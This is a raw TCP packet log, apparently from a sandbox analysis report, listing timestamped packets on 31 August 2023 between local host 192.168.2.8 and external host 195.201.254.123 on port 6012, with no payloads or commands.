Aug 31, 2023 16:50:49.827506065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827555895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827564955 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827604055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827610016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827652931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827658892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827701092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827708960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827749014 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827754021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827796936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827810049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827845097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827851057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827893972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827900887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827941895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827950001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827989101 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828000069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828038931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828043938 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828085899 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828093052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828149080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828156948 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828195095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828203917 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828242064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828248024 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828289986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828296900 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828337908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828346968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828386068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828397036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828433990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828442097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828480005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828486919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828526974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828533888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828584909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828613997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828674078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828675032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828726053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828732014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828787088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828792095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828846931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828850031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828897953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828911066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828947067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.828990936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.828995943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.829015017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.829046011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.829055071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.829093933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.829102993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.829149008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844525099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844593048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844639063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844688892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844697952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844752073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844752073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844752073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844760895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844810963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844825029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844860077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844870090 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844908953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844927073 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.844959021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.844971895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.845029116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847275019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847325087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847374916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847393990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847424030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847431898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847431898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847481966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847501993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847553968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847587109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847605944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847620010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847652912 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847665071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847701073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847712994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847752094 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847760916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847801924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847815990 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847850084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847865105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847898960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847909927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847948074 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.847959042 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.847996950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848011017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848045111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848054886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848102093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848108053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848155022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848162889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848218918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848222017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848277092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848280907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848324060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848336935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848372936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848387957 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848422050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848434925 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848469973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848476887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848515034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848529100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848562002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848576069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848608971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848623991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848659039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.848671913 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.848721027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850095034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850147963 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850193024 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850199938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850223064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850250959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850256920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850312948 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850317955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850370884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850378036 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850424051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850428104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850483894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850492001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850545883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850552082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850594044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850605011 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850642920 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850650072 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850691080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850699902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850743055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850754976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850790977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850800991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850861073 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850877047 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850909948 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850919962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.850958109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.850980997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851005077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851011992 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851053953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851064920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851103067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851109982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851150990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851171017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851200104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851210117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851248026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851255894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851296902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851310968 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851346016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851358891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851394892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851403952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851444960 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851450920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851507902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851528883 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851574898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851593971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851624012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851636887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851674080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851677895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851723909 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851731062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851772070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851778984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851820946 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851830959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851870060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851881981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851926088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851933956 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.851973057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.851985931 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852035046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852039099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852096081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852101088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852143049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852154016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852188110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852202892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852235079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852252960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852283001 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852298021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852329016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852374077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852381945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852420092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852421045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852448940 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852469921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852497101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852515936 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852545023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852566957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852596045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852612019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852650881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852658033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852674961 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852705002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.852725983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.852775097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866203070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866249084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866280079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866312027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866343975 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866364956 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866378069 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866401911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866410017 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866444111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866445065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866472960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866477013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.866518974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.866544962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.869802952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.869852066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.869894028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.869935036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.869937897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.869972944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.869980097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870011091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870023966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870065928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870105028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870146990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870151997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870151997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870151997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870188951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870232105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870274067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870316029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870353937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870356083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870353937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870353937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870353937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870353937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870398045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870439053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870482922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870487928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870487928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870523930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870487928 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870567083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870609045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870615005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870615005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870615005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870650053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870690107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870733023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870738029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870738983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870774031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870738983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870815992 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.870863914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870863914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.870863914 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.871005058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.873852968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.873902082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.873943090 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.873982906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874005079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874006033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874006033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874022961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874041080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874064922 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874087095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874106884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874129057 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874149084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874178886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874191999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874218941 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874234915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.874259949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.874277115 CEST	6012	49774	195.201.254.123	192.168.2.8
